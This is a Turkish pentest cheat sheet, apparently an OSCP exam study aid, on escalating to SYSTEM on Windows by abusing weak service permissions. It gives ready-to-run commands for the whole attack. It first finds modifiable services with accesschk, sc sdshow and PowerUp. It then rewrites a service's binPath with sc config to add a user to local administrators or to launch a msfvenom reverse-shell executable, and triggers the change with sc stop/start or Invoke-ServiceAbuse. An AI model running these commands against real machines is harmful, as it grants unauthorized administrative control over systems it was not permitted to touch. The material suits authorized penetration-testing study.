FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE kolay

Zayıf Servis İzinleri → sc config binPath ile SYSTEM

Bir servis nesnesi üzerinde SERVICE_CHANGE_CONFIG (veya WRITE_DAC/SERVICE_ALL_ACCESS) hakkın varsa, sc config ile binPath'i kendi komutunla değiştirip servisi restart ederek SYSTEM olarak kod çalıştırırsın.

Bilgi: ÖN KOŞULLAR
  • Hedef servis üzerinde SERVICE_CHANGE_CONFIG veya SERVICE_ALL_ACCESS
  • Servisi başlatma/durdurma hakkı (SERVICE_START/STOP) veya reboot
  • Servisin LocalSystem (veya yüksek yetkili bir hesap) altında çalışması
┌──

Komutlar

accesschk ✓ EXAM-SAFE user
accesschk.exe -accepteula -uwcqv "%USERNAME%" *
Mevcut kullanıcının yazma hakkına (SERVICE_CHANGE_CONFIG dahil) sahip olduğu TÜM servisleri listeler — klasik zayıf servis ACL avı. HackTricks — Windows Local Privilege Escalation (accesschk service permissions)
accesschk ✓ EXAM-SAFE user
accesschk.exe -accepteula -uwcqv "Authenticated Users" *
Authenticated Users grubuna açık servisleri tarar; SERVICE_CHANGE_CONFIG görünen her servis adaydır. HackTricks — Windows Local Privilege Escalation
powershell ✓ EXAM-SAFE user
Get-Service | ForEach-Object { $_.Name }; sc.exe sdshow VulnSvc
Servisleri listele ve sc sdshow ile hedef servisin SDDL'ini al; içinde RP/WP/DC/'WD' (WRITE_DAC) veya CC (SERVICE_CHANGE_CONFIG) hakları için kullanıcı SID'i ara. HackTricks — Windows Local Privilege Escalation (sc sdshow)
powerup ✓ EXAM-SAFE user
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Get-ModifiableService"
PowerUp ile yazılabilir/yapılandırılabilir servisleri otomatik bulur; Invoke-ServiceAbuse ile istismarı da otomatikleştirir. PowerSploit/PowerUp — Get-ModifiableService
cmd ✓ EXAM-SAFE user
sc qc "VulnSvc"
Mevcut binPath, START_TYPE ve SERVICE_START_NAME bilgisini al; değiştirmeden önce orijinali not et. Microsoft Docs — sc qc
cmd ✓ EXAM-SAFE user
sc config "VulnSvc" binPath= "C:\Windows\System32\cmd.exe /c net localgroup administrators {{USER}} /add" start= demand obj= LocalSystem
binPath'i kullanıcını yerel admin yapan komutla değiştir. DİKKAT: 'binPath= ' sonrası boşluk şart, '=' bitişik. HackTricks — Windows Local Privilege Escalation (sc config binPath abuse)
cmd ✓ EXAM-SAFE user
sc config "VulnSvc" binPath= "C:\Windows\Temp\rev.exe"
Alternatif: binPath'i önceden yüklediğin msfvenom reverse-shell exe'sine yönlendir. SYSTEM olarak çağrılır. OffSec PEN-200 — Service Abuse
cmd ✓ EXAM-SAFE user
sc stop "VulnSvc" & sc start "VulnSvc"
Servisi yeniden başlatarak yeni binPath komutunu SYSTEM olarak tetikle. Servis 'StartService FAILED 1053' verse bile komut çoğu kez çalışır. HackTricks — Windows Local Privilege Escalation
powerup ✓ EXAM-SAFE user
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-ServiceAbuse -Name 'VulnSvc' -UserName '{{DOMAIN}}\{{USER}}'"
PowerUp tek komutta binPath'i değiştirip kullanıcıyı admin yapar ve servisi geri eski haline döndürür. PowerSploit/PowerUp — Invoke-ServiceAbuse

Zafiyetin Mantığı

Her servis nesnesinin bir DACL’i vardır. Eğer düşük yetkili kullanıcı/gruba (Authenticated Users, INTERACTIVE, Users veya doğrudan kullanıcına) SERVICE_CHANGE_CONFIG (CC), WRITE_DAC (WD) ya da SERVICE_ALL_ACCESS verilmişse, servisin binPath’ini istediğin komuta çevirip servisi yeniden başlattığında o komut servisin hesabıyla — tipik olarak LocalSystem — çalışır.

Tespit / Enumeration

  • accesschk en doğrudan yol: -uwcqv ile bir kullanıcı/grubun yazılabilir servislerini tarar. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS veya WRITE_DAC gördüğün her servis aday.
  • sc sdshow <svc> ile SDDL’i incele; ACE’lerde kullanıcı SID’inin yanında CCLCSWRPWPDTLOCRRC gibi WP/CC/WD flag’lerini ara.
  • PowerUp Get-ModifiableService her şeyi otomatik bulur.
  • winPEAS Services bölümünde ‘You can modify this service’ uyarısı verir.

Her zaman sc qc <svc> ile SERVICE_START_NAME = LocalSystem olduğunu doğrula — NT SERVICE\... veya düşük yetkili bir hesapsa kazanç sınırlı olur.

Exploitation

  1. Orijinal binPath, START_TYPE ve obj=’i sc qc ile not et (geri döndürmek için).
  2. sc config <svc> binPath= "..." ile yolu değiştir. İki kritik syntax kuralı: binPath= sonrasında bir boşluk olmalı, = ise parametreye bitişik olmalı.
  3. Hızlı kazanç için doğrudan net localgroup administrators <user> /add çalıştır; veya reverse shell exe’ye yönlendir.
  4. sc stop + sc start ile tetikle. Servis SCM’ye yanıt vermediği için error 1053/1064 görmen normaldir; komutun çoğu zaman yine de işler.
  5. Yeni admin grup üyeliğini net localgroup administrators ile doğrula ya da shell’ini yakala.

Notlar / Tuzaklar

  • Sadece START hakkın varsa (CHANGE_CONFIG yoksa) binPath’i değiştiremezsin; o durumda servis zaten zayıf binary’ye işaret ediyorsa win-unquoted-svc/win-dll-hijack’e bak.
  • İşin bitince sc config ile binPath’i orijinaline geri döndür — aksi halde servis ve uygulama bozulur; pentestte temizlik zorunlu.
  • obj= LocalSystem ve start= demand eklemek, servis düşük yetkili bir hesapla çalışıyorsa onu SYSTEM’e zorlayabilir (config change hakkın varsa).
  • PowerUp Invoke-ServiceAbuse tüm akışı otomatikleştirir ve servisi geri restore eder; OSCP’de manuel sc config yöntemini bilmek esastır.
┌──

Kaynaklar

0/15 set